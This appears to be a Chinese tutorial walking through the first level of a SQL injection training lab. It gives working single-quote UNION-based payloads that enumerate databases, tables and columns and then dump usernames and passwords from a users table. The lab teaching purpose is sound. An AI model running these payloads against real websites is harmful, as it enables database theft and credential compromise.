第一关请求方式为 GET请求 , 注入点为 单引号字符串型 , 注入方式为 联合注入
第一步,判断注入类型
先输如一个单引号' , 看它会不会报错
?id=1'
我们可以看到,页面有来自数据库的报错
分析一下报错内容 , 最外面的一对单引号是数据库用来包裹报错信息的 , 我们不用管
这个 1' , 是我们输入的参数 , 我们可以看到它被一对单引号所包裹 , 也就是说,后台的SQL语句在接收参数时 , 包裹了一对单引号 , 固 单引号字符串型注入
源码如下
第二步,获取字段数
order by 1 , 可根据第1列排序 , 如果该列不存在,数据库则会报错 , 我们从第1列开始,依次测试第2列,第3列 ... 直至报错
?id=1' order by 4 -- a
第4列时开始报错 , 也就是说返回的结果有3列 , 也就是3个字段 , 固 字段数为 3
第三步,获取字段显示位置
使用联合查询确定字段的显示位置
?id=-1' union select 1,2,3 -- a
id=-1 , 由于id不为负数 , 查询不出用户数据,查询结果就只有 1 2 3 这一条数据
第四步,脱库
爆库
1.?id=-1' union select 1,2, (select group_concat(schema_name) from information_schema.schemata) -- a
group_concat() , 可以将多行数据合并为一列,并使用逗号分隔
爆表
?id=-1' union select 1,2, (select group_concat(table_name) from information_schema.tables where table_schema='security') -- a
爆字段
?id=-1' union select 1,2, (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') -- a
获取账号密码
?id=-1' union select 1,2, (select group_concat(username,'~',password) from security.users) -- a
查询security数据库的users表的username,password字段 , 该字段保存了账号和密码